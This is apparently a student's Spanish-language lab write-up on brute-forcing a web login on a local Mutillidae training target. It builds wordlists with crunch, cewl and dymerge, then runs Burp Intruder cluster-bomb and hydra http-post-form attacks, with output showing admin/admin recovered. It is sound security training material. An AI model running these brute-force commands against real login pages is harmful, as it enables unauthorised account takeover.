

Ejercicio Brute force

Ejercicio 1

Crunch

```
crunch 5 5 admin -o Dic.txt
```

Cewl

```
cewl -w diccewl.txt http://10.0.10.9/mutillidae/
```

dymerge

```
python2 dymerge.py /home/kali/Desktop/bbk/Dic.txt /home/kali/
```

Ejercicio 2

Capturo la petición y la paso a intruder

The screenshot shows the Burp Suite Intruder tool interface. The 'Intruder' tab is selected. Under 'Choose an attack type', 'Cluster bomb' is chosen. Under 'Payload positions', the target is 'http://10.0.10.9'. A list of 15 payload positions is shown, with the 15th position highlighted in red. The 15th position is: `username=$test$&password=$test$&login-php-submit-button=Login`.

Dashboard	Target	Proxy	Intruder	Repeater	Collaborator	Sequencer	Decoder	Comparer	Logger	Organizer	Extensions	Learn
1 x	2 x	+										
Positions	Payloads	Resource pool	Settings									
Choose an attack type												
Attack type: Cluster bomb												
Payload positions												
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.												
Target: http://10.0.10.9												
<pre>1 POST /mutillidae/index.php?page=login.php HTTP/1.1 2 Host: 10.0.10.9 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 57 9 Origin: http://10.0.10.9 10 Connection: close 11 Referer: http://10.0.10.9/mutillidae/index.php?page=login.php 12 Cookie: showhint=1; PHPSESSID=v94h1kbbnddvh6274b1k5hc197; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada 13 Upgrade-Insecure-Requests: 1 14 15 username=\$test\$&password=\$test\$&login-php-submit-button=Login</pre>												

seleccionamos los valores de username y password para cambiarlo por las palabras del diccionario

Escogemos al ataque Cluster bomb

Cargamos los diccionarios y ejecutamos

En este caso he creado unos personalizados para que el ataque no dure tanto

The screenshot shows the Burp Suite interface. On the left, the 'Payloads' tab is active, showing 'Payload sets' and 'Payload settings [Simple list]'. The 'Payload settings' section shows a list of payloads: admin, kali, root, pepe. On the right, a terminal window titled '4. Intruder attack of http://10.0.10.9 - Temporary attack - Not saved to project file' displays the results of the attack. The terminal shows a table with columns: Request, Payload1, Payload2, Statuscode, Error, Timeout, Length, and Comment. The first row is highlighted with a red box, showing a successful login for 'admin' with a status code of 302 and a length of 50930.

Request	Payload1	Payload2	Statuscode	Error	Timeout	Length	Comment
1	admin	admin	302			50930	
2	kali	admin	200			50833	
3	root	admin	200			50833	
4	pepe	admin	200			50833	
5	admin	kali	200			50833	
6	kali	kali	200			50833	
9	admin	root	200			50833	
10	kali	root	200			50833	
11	root	root	200			50833	
13	admin	pepe	200			50833	

encuentro que las credenciales son admin admin viendo la longitud de la respuesta.

Ejercicio 3

Lanzamos hydra sobre el login de una web con los siguientes parametros

```
hydra -l admin -P diccionariocorto.txt 10.0.10.9 http-post-fo
```

```
[kali@kali:~/Desktop/bbk]$ hydra -l admin -P diccionariocorto.txt 10.0.10.9 http-post-form "/mutillidae/index.php?page-login.php:username='USER'&password='PASS'&login-php-submit-button=Login:F=Not Logged In"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore Laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-25 09:40:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:l/p:p), ~1 try per task
[DATA] attacking http-post-form://10.0.10.9:80/mutillidae/index.php?page-login.php:username='USER'&password='PASS'&login-php-submit-button=Login:F=Not Logged In
[00] [http-post-form] host: 10.0.10.9 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-25 09:40:54
```